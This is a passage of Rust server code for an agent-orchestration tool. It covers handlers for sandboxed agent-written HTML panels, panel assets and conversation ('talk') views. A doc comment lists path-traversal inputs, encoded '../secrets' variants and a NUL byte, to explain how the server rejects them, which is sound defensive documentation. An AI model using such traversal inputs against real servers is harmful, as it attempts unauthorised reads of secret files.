9055        #[cfg(test)]
9056        if let Some((talk, cfg, turn_guard)) = reclaimed {
9057            let talks = ui.talks.clone();
9058            let id = talk.id.clone();
9059            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9060        }
9061        Ok((StatusCode::ACCEPTED, Json(view)))
9062    })
9063    .await
9064}
9065
9066/// Expand an id or short id to exactly one question id.
9067fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
9068    if plain_record_id(id) && store.path_of(id).is_file() {
9069        return Ok(id.to_owned());
9070    }
9071    pick(
9072        store.list().into_iter().map(|q| q.id).collect(),
9073        id,
9074        "question",
9075    )
9076}
9077
9078/// `GET /api/questions/{id}/panel`.
9079///
9080/// The panel an agent wrote for this question, as `text/html` under
9081/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
9082/// A question without one is a 404 rather than an empty page: the client
9083/// preflights this route with `HEAD` and must be able to tell "no panel" from
9084/// "a panel that rendered blank", and a sandboxed frame is opaque to the
9085/// parent document so it cannot tell the difference by looking.
9086///
9087/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
9088/// sanitises or minifies it - a sanitiser is a list of things someone thought
9089/// of, and the sandbox plus the CSP is a list of things that are allowed, which
9090/// is the direction that stays safe when an agent writes markup nobody
9091/// predicted.
9092async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
9093    blocking(move || {
9094        let id = resolve_question(&ui.questions, &id)?;
9095        let Some(html) = ui.questions.panel_html(&id) else {
9096            return Err(ApiError::not_found(format!("question {id} has no panel")));
9097        };
9098        Ok(panel_response(
9099            "text/html; charset=utf-8",
9100            false,
9101            html.into_bytes(),
9102        ))
9103    })
9104    .await
9105}
9106
9107/// `GET /api/questions/{id}/asset/{name}`.
9108///
9109/// One file from the question's own panel directory, so a panel can show a
9110/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
9111/// having to allow anything off this machine.
9112///
9113/// This is the only route in the server where a client names a file, so it is
9114/// the only one with a traversal surface, and the name is checked by
9115/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
9116/// what is worth being explicit about, because the answer is not "all of it in
9117/// one place":
9118///
9119/// * `asset/../../secrets` never reaches this handler at all. axum matches on
9120///   the raw request path and `{name}` spans exactly one segment, so a real
9121///   slash makes the request too long for the route and the router answers 404.
9122/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
9123///   percent-decodes path parameters, so `name` arrives as `../secrets` and
9124///   `..\secrets` respectively, which look like plain filenames to the router.
9125///   The validator refuses them here - both for the literal `..` and because
9126///   `/` and `\` are not in the permitted character set - and answers 400.
9127/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
9128///   the platform's path API is not, and it is refused here for the same
9129///   reason: NUL is not a permitted character.
9130/// * [`Questions::panel_asset`] validates again on read, so the check is not
9131///   load-bearing in only one place. This route's own check exists so the
9132///   failure is a 400 that says which name was wrong, rather than a store error
9133///   the operator has to interpret.
9134async fn question_asset(
9135    State(ui): State<Arc<Ui>>,
9136    Path((id, name)): Path<(String, String)>,
9137) -> ApiResult<Response> {
9138    // Before any filesystem work and before any path is built: a name this
9139    // server will not serve should not become a `PathBuf` at all.
9140    if !crate::ask::valid_asset_name(&name) {
9141        return Err(ApiError::bad_request(format!(
9142            "`{name}` is not a usable asset name"
9143        )));
9144    }
9145    blocking(move || {
9146        let id = resolve_question(&ui.questions, &id)?;
9147        let asset = ui
9148            .questions
9149            .panel_asset(&id, &name)
9150            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
9151        let Some(bytes) = asset else {
9152            return Err(ApiError::not_found(format!(
9153                "question {id} has no asset `{name}`"
9154            )));
9155        };
9156        Ok(panel_response(
9157            asset_content_type(&name),
9158            is_svg(&name),
9159            bytes,
9160        ))
9161    })
9162    .await
9163}
9164
9165/// Content type for a panel asset, from a closed whitelist.
9166///
9167/// A whitelist with an `application/octet-stream` fallback rather than a
9168/// guess, because the one answer that must never come out of here is
9169/// `text/html`. An agent that writes `notes.html` into its panel directory and
9170/// links it would otherwise get its own markup rendered at the top level of the
9171/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
9172/// magi's origin - which is precisely the thing the panel design exists to
9173/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
9174///
9175/// `nosniff` accompanies this on every response, so a browser cannot decide it
9176/// knows better than the type we sent.
9177fn asset_content_type(name: &str) -> &'static str {
9178    match extension(name).as_deref() {
9179        Some("png") => "image/png",
9180        Some("jpg" | "jpeg") => "image/jpeg",
9181        Some("gif") => "image/gif",
9182        Some("webp") => "image/webp",
9183        Some("svg") => "image/svg+xml",
9184        Some("css") => "text/css; charset=utf-8",
9185        Some("txt") => "text/plain; charset=utf-8",
9186        _ => "application/octet-stream",
9187    }
9188}
9189
9190/// Is this an SVG, and therefore a file that must never be opened at the top
9191/// level?
9192fn is_svg(name: &str) -> bool {
9193    extension(name).as_deref() == Some("svg")
9194}
9195
9196/// Lowercased extension, or `None` for a name without one.
9197fn extension(name: &str) -> Option<String> {
9198    name.rsplit_once('.')
9199        .map(|(_, ext)| ext.to_ascii_lowercase())
9200}
9201
9202/// Every panel response, with the four headers that make it safe and, for an
9203/// SVG, a fifth.
9204///
9205/// One function rather than a header list per handler, because a panel route
9206/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
9207/// model gone, silently, on one of two routes. Adding a third panel route later
9208/// means calling this, and there is nowhere else to build a panel response.
9209///
9210/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
9211/// as an `<img src>` inside the panel that script cannot run - but the asset
9212/// URL is also a plain URL an operator can be talked into opening in a tab,
9213/// where it is a document on magi's own origin. `Content-Disposition:
9214/// attachment` makes the browser download it instead of rendering it, which
9215/// closes that door without taking away the ability to draw a diff. Raster
9216/// images have no such execution surface and are left inline, so tapping a
9217/// screenshot still shows it.
9218fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
9219    let mut res = (
9220        [
9221            (header::CONTENT_TYPE, content_type),
9222            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
9223            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9224            (header::REFERRER_POLICY, "no-referrer"),
9225        ],
9226        body,
9227    )
9228        .into_response();
9229    if download {
9230        res.headers_mut().insert(
9231            header::CONTENT_DISPOSITION,
9232            HeaderValue::from_static("attachment"),
9233        );
9234    }
9235    res
9236}
9237
9238/// A talk as the phone reads it.
9239///
9240/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
9241/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
9242/// parses markdown itself - and the process-local `thinking` hint.
9243#[derive(Debug, Serialize)]
9244struct ChatApproval {
9245    question: String,
9246    target: crate::merge_decision::Target,
9247}
9248
9249#[derive(Debug, Serialize)]
9250struct TalkView {
9251    #[serde(flatten)]
9252    talk: Talk,
9253    turn_bodies_md: Vec<Vec<md::Node>>,
9254    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
9255    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
9256    pending_messages_md: Vec<Option<Vec<md::Node>>>,
9257    merge_approvals: Vec<ChatApproval>,
9258    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
9259    /// this server process.
9260    ///
9261    /// This is deliberately not durable: another server process cannot see
9262    /// it, and a restarted server must not claim an old turn is live. It is a
9263    /// progress hint rather than proof a reply landed; the transcript remains
9264    /// the source of truth for that.
9265    thinking: bool,
9266    /// Context-window usage, derived per request - see
9267    /// [`talk::context_usage`]. Carried on every talk response (list, detail
9268    /// and each mutation) so the phone needs no extra call or polling.
9269    context: talk::ContextUsage,
9270    /// `[talk] operator_name`, when configured; the Chat labels the
9271    /// operator's turns with it.
9272    operator_name: Option<String>,
9273    /// The active persona's display name; `None` for the default voice.
9274    persona_name: Option<String>,
9275    /// URL of the avatar for the conversation's persona (the default voice
9276    /// included). Server-built; a configured `icon` never reaches the client.
9277    persona_avatar: String,
9278    /// Operator avatar; display only and independent of repository config.
9279    operator_avatar: String,
9280    magi_avatar: String,
9281}
9282
9283impl TalkView {
9284    /// Reads the talk's repository config itself; a config that cannot be
9285    /// read leaves the window unknown but never fails the conversation.
9286    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
9287        let cfg = talk.config().ok();
9288        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
9289    }
9290
9291    /// As [`Self::new`], with the config already in hand (the list reads one
9292    /// per repository, not one per conversation).
9293    fn with_config(
9294        talk: Talk,
9295        thinking: bool,
9296        cfg: Option<&Config>,
9297        home: &FsPath,
9298        cache: &id_links::IndexCache,
9299    ) -> Self {
9300        let references = cache.for_talk(home, &talk);
9301        Self::with_references(talk, thinking, cfg, home, &references)
9302    }
9303
9304    fn with_references(
9305        mut talk: Talk,
9306        thinking: bool,
9307        cfg: Option<&Config>,
9308        home: &FsPath,
9309        references: &id_links::IdIndex,
9310    ) -> Self {
9311        // This owned value is the display DTO; never write it back to the talk store.
9312        let snapshot = talk.clone();
9313        for (index, turn) in talk.turns.iter_mut().enumerate() {
9314            let original = &snapshot.turns[index];
9315            if turn.messages.is_empty() {
9316                if let Some(display) = talk::notice_display(&snapshot, original, None) {
9317                    turn.messages.push(talk::Message {
9318                        sender: Some(talk::Sender::Magi),
9319                        accepted_at: None,
9320                        body: original.body.clone(),
9321                        display: Some(display),
9322                        recovery_event: None,
9323                        attachments: original.attachments.clone(),
9324                        reply: None,
9325                    });
9326                }
9327            } else {
9328                for (i, message) in turn.messages.iter_mut().enumerate() {
9329                    message.display =
9330                        talk::notice_display(&snapshot, original, original.messages.get(i));
9331                    if message.display.is_some() {
9332                        message.sender = Some(talk::Sender::Magi);
9333                    }
9334                }
9335            }
9336        }
9337        for message in &mut talk.pending_messages {
9338            if message.display.is_none()
9339                && (message.sender == Some(talk::Sender::Magi)
9340                    || snapshot
9341                        .completion_notices
9342                        .iter()
9343                        .any(|r| r.notice == message.body))
9344            {
9345                message.display = crate::prompt::legacy_notice_display(&message.body);
9346                if message.display.is_some() {
9347                    message.sender = Some(talk::Sender::Magi);
9348                }
9349            }
9350        }
9351        if talk.pending_messages.is_empty()
9352            && snapshot
9353                .completion_notices
9354                .iter()
9355                .any(|r| r.notice == talk.pending)
9356            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
9357        {
9358            talk.pending_messages.push(talk::Message {
9359                sender: Some(talk::Sender::Magi),
9360                accepted_at: None,
9361                display: Some(display),
9362                recovery_event: None,
9363                body: talk.pending.clone(),
9364                attachments: talk.pending_attachments.clone(),
9365                reply: None,
9366            });
9367        }
9368        let excerpts: Vec<Vec<Option<String>>> = talk
9369            .turns
9370            .iter()
9371            .map(|turn| {
9372                turn.messages
9373                    .iter()
9374                    .map(|m| {
9375                        m.display
9376                            .as_ref()
9377                            .map(|d| d.facts.chars().take(240).collect())
9378                    })
9379                    .collect()
9380            })
9381            .collect();
9382        for turn in &mut talk.turns {
9383            let provenance = talk::sender(turn, None);
9384            turn.sender = Some(provenance);
9385            for message in &mut turn.messages {
9386                message.sender = Some(message.sender.unwrap_or(provenance));
9387            }
9388        }
9389        // Old reply snapshots have only a role; recover provenance from their target.
9390        let senders: Vec<Vec<talk::Sender>> = talk
9391            .turns
9392            .iter()
9393            .map(|turn| {
9394                if turn.messages.is_empty() {
9395                    vec![talk::sender(turn, None)]
9396                } else {
9397                    turn.messages
9398                        .iter()
9399                        .map(|m| talk::sender(turn, Some(m)))
9400                        .collect()
9401                }
9402            })
9403            .collect();
9404        for reply in talk
9405            .turns
9406            .iter_mut()
9407            .flat_map(|t| t.messages.iter_mut())
9408            .chain(talk.pending_messages.iter_mut())
9409            .filter_map(|m| m.reply.as_mut())
9410        {
9411            if let Some(Some(excerpt)) = excerpts
9412                .get(reply.target.turn)
9413                .and_then(|ms| ms.get(reply.target.message))
9414            {
9415                reply.excerpt = excerpt.clone();
9416                reply.sender = Some(talk::Sender::Magi);
9417            }
9418            if reply.sender.is_none() {
9419                reply.sender = senders
9420                    .get(reply.target.turn)
9421                    .and_then(|messages| messages.get(reply.target.message))
9422                    .copied();
9423            }
9424        }
9425        let context = talk::context_usage(&talk, cfg);
9426        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9427            .turns
9428            .iter()
9429            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9430            .collect();
9431        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9432            .turns
9433            .iter()
9434            .map(|turn| {
9435                if turn.messages.is_empty() {
9436                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9437                } else {
9438                    turn.messages
9439                        .iter()
9440                        .map(|message| {
9441                            notice_markdown(
9442                                message.sender.unwrap_or(talk::Sender::Operator),
9443                                &message.body,
9444                                message.display.as_ref(),
9445                            )
9446                        })
9447                        .collect()
9448                }
9449            })
9450            .collect();
9451        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9452            .pending_messages
9453            .iter()
9454            .map(|message| {
9455                notice_markdown(
9456                    message.sender.unwrap_or(talk::Sender::Operator),
9457                    &message.body,
9458                    message.display.as_ref(),
9459                )
9460            })
9461            .collect();
9462        for nodes in &mut turn_bodies_md {
9463            references.markdown(nodes);
9464        }
9465        for nodes in turn_messages_md
9466            .iter_mut()
9467            .flatten()
9468            .chain(pending_messages_md.iter_mut())
9469            .flatten()
9470        {
9471            references.markdown(nodes);
9472        }
9473        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9474        let persona_name = persona::find(specs, &talk.persona)
9475            .filter(|p| !p.is_default())
9476            .map(|p| p.name);
9477        let mut avatar_persona = persona::find(specs, &talk.persona)
9478            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9479        // A removed configured persona may still have an override and old talks.
9480        if avatar_persona.id != talk.persona
9481            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9482        {
9483            avatar_persona.id.clone_from(&talk.persona);
9484            avatar_persona.icon = None;
9485        }
9486        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9487        let approvals_store = ask::Questions::at(home.join("questions"));
9488        let merge_approvals = talk
9489            .notified
9490            .iter()
9491            .filter_map(|key| key.strip_prefix("question:"))
9492            .filter_map(|id| approvals_store.get(id).ok())
9493            .filter(|q| !crate::task_chat::source_retired(home, &q.id))
9494            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9495            .filter_map(|q| {
9496                Some(ChatApproval {
9497                    question: q.id,
9498                    target: q.merge_target?,
9499                })
9500            })
9501            .collect();
9502        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9503        Self {
9504            turn_bodies_md,
9505            turn_messages_md,
9506            pending_messages_md,
9507            merge_approvals,
9508            thinking,
9509            context,
9510            operator_name,
9511            persona_name,
9512            persona_avatar,
9513            magi_avatar: magi_icon_url(home),
9514            operator_avatar: operator_icon_url(home),
9515            talk,
9516        }
9517    }
9518}
9519
9520/// Parse only the user-facing representation of an explicitly identified MAGI send.
9521fn notice_markdown(
9522    sender: talk::Sender,
9523    body: &str,
9524    display: Option<&crate::prompt::NoticeDisplay>,
9525) -> Option<Vec<md::Node>> {
9526    if sender != talk::Sender::Magi {
9527        return None;
9528    }
9529    let text = if let Some(display) = display {
9530        display.facts.as_str()
9531    } else {
9532        // Unknown completion templates may contain internal directives. Never
9533        // promote their agent input to the Markdown display surface.
9534        if crate::prompt::is_completion_notice(body)
9535            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9536        {
9537            return None;
9538        }
9539        body.strip_prefix("magi: ").unwrap_or(body)
9540    };
9541    Some(md::to_nodes(text, &md::ImageBase::None))
9542}
9543
9544/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9545/// conversation has filed, so the phone can follow one from inside the
9546/// conversation that asked for it rather than hunting the Queue for a task id
9547/// it may not remember.
9548#[derive(Debug, Serialize)]
9549struct TalkDetailView {
9550    #[serde(flatten)]
9551    view: TalkView,
9552    tasks: Vec<TaskView>,
9553    task_progress: TalkTaskProgress,
9554    goal_link: Option<TalkGoalLink>,
9555    goal_link_for: Timestamp,
9556    /// The agents this talk's repository can switch to; empty when its
9557    /// configuration cannot be read, which must not fail the whole detail.
9558    roster: Vec<RosterEntry>,
9559    /// The personas the conversation can pick from. The built-ins are always
9560    /// listed, even when the repository's configuration cannot be read.
9561    personas: Vec<PersonaEntry>,
9562}
9563
9564/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9565#[derive(Debug, Serialize)]
9566struct TalkTaskProgress {
9567    state: &'static str,
9568    total: usize,
9569    done: usize,
9570    counts: std::collections::BTreeMap<&'static str, usize>,
9571    unfinished_ids: Vec<String>,
9572}
9573
9574fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9575    let mut counts = std::collections::BTreeMap::from([
9576        ("queued", 0),
9577        ("running", 0),
9578        ("done", 0),
9579        ("failed", 0),
9580        ("held", 0),
9581        ("blocked", 0),
9582        ("parked", 0),
9583    ]);
9584    let mut unfinished_ids = Vec::new();
9585    for task in tasks {
9586        *counts.entry(task.status.as_str()).or_default() += 1;
9587        if task.status != TaskStatus::Done {
9588            unfinished_ids.push(task.id.clone());
9589        }
9590    }
9591    TalkTaskProgress {
9592        state: if tasks.is_empty() {
9593            "none"
9594        } else if unfinished_ids.is_empty() {
9595            "complete"
9596        } else {
9597            "incomplete"
9598        },
9599        total: tasks.len(),
9600        done: tasks.len() - unfinished_ids.len(),
9601        counts,
9602        unfinished_ids,
9603    }
9604}
9605
9606/// Prefer a referenced task's current Run or Task, then an explicitly
9607/// referenced same-repository Run. Missing/deleted records leave the goal readable.
9608#[derive(Debug, Serialize)]
9609struct TalkGoalLink {
9610    goal: String,
9611    kind: &'static str,
9612    id: String,
9613}
9614
9615fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9616    let goal = crate::chat_goal::Goal::selected(talk)?;
9617    let repo = goal.effective_repo(&talk.repo);
9618    let valid_run = |id: &str| {
9619        plain_record_id(id)
9620            && read_run(runs, id).is_ok_and(|state| {
9621                state.id == id
9622                    && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9623            })
9624    };
9625    for id in goal.tasks.iter().rev() {
9626        let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9627            continue;
9628        };
9629        // Repository reassignments retain historical runs. Only this task's
9630        // current execution can be presented as the goal's current Run.
9631        if let Some(run) = task.execution_runs().last()
9632            && valid_run(run)
9633        {
9634            return Some(TalkGoalLink {
9635                goal: goal.id.clone(),
9636                kind: "run",
9637                id: run.clone(),
9638            });
9639        }
9640        return Some(TalkGoalLink {
9641            goal: goal.id.clone(),
9642            kind: "task",
9643            id: task.id,
9644        });
9645    }
9646    for id in goal.runs.iter().rev() {
9647        if valid_run(id) {
9648            return Some(TalkGoalLink {
9649                goal: goal.id.clone(),
9650                kind: "run",
9651                id: id.clone(),
9652            });
9653        }
9654    }
9655    None
9656}
9657
9658/// One persona as the talk's persona selector shows it.
9659#[derive(Debug, Serialize)]
9660struct PersonaEntry {
9661    id: String,
9662    name: String,
9663    /// Avatar URL, see [`TalkView::persona_avatar`].
9664    avatar: String,
9665}
9666
9667/// One roster agent as the talk's agent selector shows it.
9668#[derive(Debug, Serialize)]
9669struct RosterEntry {
9670    id: String,
9671    kind: AgentKind,
9672    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9673    runnable: bool,
9674}
9675
9676/// Bounded summaries; `/page` carries a cursor for older membership.
9677async fn talks_list(
9678    State(ui): State<Arc<Ui>>,
9679    Query(q): Query<ListQuery>,
9680    headers: header::HeaderMap,
9681) -> ApiResult<Json<Vec<TalkListView>>> {
9682    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9683        let limit = q.limit.unwrap_or(50).min(50);
9684        let ids = if let Some(ids) = q.ids {
9685            ids.split(',')
9686                .filter(|id| plain_record_id(id))
9687                .take(limit)
9688                .map(str::to_owned)
9689                .collect()
9690        } else {
9691            page_ids(&ui, true, PageQuery::default())?
9692                .0
9693                .into_iter()
9694                .take(limit.min(STORE_PAGE_SIZE))
9695                .collect()
9696        };
9697        Ok(Json(talk_rows(&ui, ids, &headers)))
9698    })
9699    .await
9700}
9701
9702/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9703/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9704/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9705/// end still opens a talk against an older binary.
9706#[derive(Debug, Default, Deserialize)]
9707#[serde(default)]
9708struct NewTalk {
9709    agent: Option<String>,
9710    repo: Option<PathBuf>,
9711    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9712    /// wrong type is dropped like a stale value instead of failing the request;
9713    /// each falls back to its default on its own (see [`talk::begin_with`]).
9714    preferred_agent: Option<serde_json::Value>,
9715    persona: Option<serde_json::Value>,
9716    implementers: Option<serde_json::Value>,
9717}
9718
9719/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9720/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9721async fn talk_post(
9722    State(ui): State<Arc<Ui>>,
9723    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9724) -> ApiResult<impl IntoResponse> {
9725    // An absent body, or an empty one, is the normal way to open a talk - see
9726    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9727    // rather than refused.
9728    let body = match body {
9729        Ok(Json(body)) => body,
9730        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9731        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9732    };
9733    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9734    let cfg = config_for(&repo).await?;
9735    let view = blocking(move || {
9736        let preferred = talk::Preferred {
9737            agent: body
9738                .preferred_agent
9739                .as_ref()
9740                .and_then(|v| v.as_str())
9741                .map(str::to_owned),
9742            persona: body
9743                .persona
9744                .as_ref()
9745                .and_then(|v| v.as_str())
9746                .map(str::to_owned),
9747            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9748        };
9749        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9750        let thinking = ui.is_thinking(&talk.id);
9751        Ok(TalkView::new(talk, thinking, &ui))
9752    })
9753    .await?;
9754    Ok((StatusCode::CREATED, Json(view)))
9755}
9756
9757/// Transcript first: unrelated queue history and repository probes are deferred.
9758async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9759    // Keep transcript reads independent of sections and the runtime blocking pool.
9760    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9761        let id = resolve_talk(&ui.talks, &id)?;
9762        let talk = ui.talks.get(&id)?;
9763        let thinking = ui.is_thinking_observed(&id);
9764        // The browser already resolves Markdown text/code references after
9765        // rendering. A cold reference/review index must not gate the transcript.
9766        Ok(Json(TalkView::with_references(
9767            talk,
9768            thinking,
9769            None,
9770            &ui.home,
9771            &id_links::IdIndex::default(),
9772        )))
9773    })
9774    .await
9775}
9776
9777async fn talk_sections(
9778    State(ui): State<Arc<Ui>>,
9779    Path(id): Path<String>,
9780) -> ApiResult<Json<serde_json::Value>> {
9781    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9782        let id = resolve_talk(&ui.talks, &id)?;
9783        let talk = ui.talks.get(&id)?;
9784        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9785        let task_progress = talk_task_progress(&tasks);
9786        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9787        let tasks: Vec<_> = tasks
9788            .into_iter()
9789            .map(|task| {
9790                serde_json::json!({
9791                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9792                })
9793            })
9794            .collect();
9795        let cfg = talk.config().ok();
9796        let roster: Vec<_> = cfg
9797            .as_ref()
9798            .map(|cfg| {
9799                cfg.agents
9800                    .iter()
9801                    .map(|a| RosterEntry {
9802                        id: a.id.clone(),
9803                        kind: a.kind,
9804                        runnable: agent::installed(a),
9805                    })
9806                    .collect()
9807            })
9808            .unwrap_or_default();
9809        let specs = cfg
9810            .as_ref()
9811            .map(|cfg| cfg.talk.personas.clone())
9812            .unwrap_or_default();
9813        let personas: Vec<_> = persona::catalog(&specs)
9814            .into_iter()
9815            .map(|p| PersonaEntry {
9816                avatar: avatar_url(&ui.home, &talk.id, &p),
9817                id: p.id,
9818                name: p.name,
9819            })
9820            .collect();
9821        let active_persona = persona::find(&specs, &talk.persona)
9822            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9823        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9824        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9825        Ok(Json(serde_json::json!({
9826            "tasks": tasks, "task_progress": task_progress,
9827            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9828            "roster": roster, "personas": personas,
9829            "context": talk::context_usage(&talk, cfg.as_ref()),
9830            "context_for": talk.updated_at,
9831            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9832            "persona_name": persona_name,
9833            "persona_avatar": persona_avatar,
9834        })))
9835    })
9836    .await
9837}
9838
9839/// `GET /api/talks/{id}`.
9840async fn talk_detail(
9841    State(ui): State<Arc<Ui>>,
9842    Path(id): Path<String>,
9843) -> ApiResult<Json<TalkDetailView>> {
9844    blocking(move || {
9845        let id = resolve_talk(&ui.talks, &id)?;
9846        let talk = ui.talks.get(&id)?;
9847        let thinking = ui.is_thinking_observed(&talk.id);
9848        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9849        let task_progress = talk_task_progress(&tasks);
9850        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9851        let goal_link_for = talk.updated_at;
9852        let tasks = tasks.into_iter().map(TaskView::from).collect();
9853        let cfg = talk.config().ok();
9854        let roster = cfg
9855            .as_ref()
9856            .map(|cfg| {
9857                cfg.agents
9858                    .iter()
9859                    .map(|a| RosterEntry {
9860                        id: a.id.clone(),
9861                        kind: a.kind,
9862                        runnable: agent::installed(a),
9863                    })
9864                    .collect()
9865            })
9866            .unwrap_or_default();
9867        let specs = cfg
9868            .as_ref()
9869            .map(|cfg| cfg.talk.personas.clone())
9870            .unwrap_or_default();
9871        let personas = persona::catalog(&specs)
9872            .into_iter()
9873            .map(|p| PersonaEntry {
9874                avatar: avatar_url(&ui.home, &talk.id, &p),
9875                id: p.id,
9876                name: p.name,
9877            })
9878            .collect();
9879        Ok(Json(TalkDetailView {
9880            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9881            tasks,
9882            task_progress,
9883            goal_link,
9884            goal_link_for,
9885            roster,
9886            personas,
9887        }))
9888    })
9889    .await
9890}
9891
9892/// The body of `POST /api/talks/{id}/say`.
9893///
9894/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9895/// returned - never bytes of its own - so a turn with no images just omits
9896/// the field, which is what an older front end still does.
9897#[derive(Debug, Default, Deserialize)]
9898#[serde(default, deny_unknown_fields)]
9899struct NewTalkTurn {
9900    reply_to: Option<talk::ReplyTarget>,
9901    text: String,
9902    attachments: Vec<String>,
9903}
9904
9905#[derive(Debug, Deserialize)]
9906#[serde(deny_unknown_fields)]
9907struct EditTalkPending {
9908    #[serde(default)]
9909    message: Option<usize>,
9910    text: String,
9911    expected_text: String,
9912    expected_attachments: Vec<String>,
9913}
9914
9915#[derive(Debug, Deserialize)]
9916#[serde(deny_unknown_fields)]
9917struct ClearTalkPending {
9918    expected_text: String,
9919    expected_attachments: Vec<String>,
9920}
9921
9922/// `POST /api/talks/{id}/say` - one turn of the conversation.
9923///
9924/// Not filesystem work, and therefore not routed through [`blocking`]: this
9925/// route spawns an agent CLI and a turn here can run for the whole of
9926/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9927/// research turn is expected to run commands rather than answer from what it
9928/// already knows. Holding an HTTP connection open that long is not a thing
9929/// to ask a phone to do; the operator's message is recorded and answered for
9930/// immediately, and the reply lands in the background, discovered through
9931/// the change stream's `talks_rev` the same way every other update on this
9932/// surface is.
9933async fn talk_say(
9934    State(ui): State<Arc<Ui>>,
9935    Path(id): Path<String>,
9936    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9937) -> ApiResult<(StatusCode, Json<TalkView>)> {
9938    let admission = ui.begin_admission()?;
9939    admitted(admission, async move {
9940    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9941    if body.text.trim().is_empty() && body.attachments.is_empty() {
9942        return Err(ApiError::bad_request("say something"));
9943    }
9944
9945    let id = {
9946        let ui = Arc::clone(&ui);
9947        let asked = id.clone();
9948        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9949    };
9950    // A closed Talk never accepts a new immediate or queued turn. Check this
9951    // before claiming a slot so its ordinary domain refusal is a 409, not an
9952    // incidental failure from the later record/queue write.
9953    {
9954        let ui = Arc::clone(&ui);
9955        let id = id.clone();
9956        blocking(move || {
9957            let talk = ui.talks.get(&id)?;
9958            if !talk.status.open() {
9959                return Err(ApiError::conflict(format!(
9960                    "talk {} is {} and takes no more turns",
9961                    talk.short(),
9962                    talk.status.as_str()
9963                )));
9964            }
9965            Ok(())
9966        })
9967        .await?;
9968    }
9969
9970    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9971    // actually stores, before anything is written - an unknown id is a 4xx
9972    // that names it rather than a turn (or a queued draft) silently missing
9973    // an image.
9974    let attachments = {
9975        let ui = Arc::clone(&ui);
9976        let id = id.clone();
9977        let ids = body.attachments.clone();
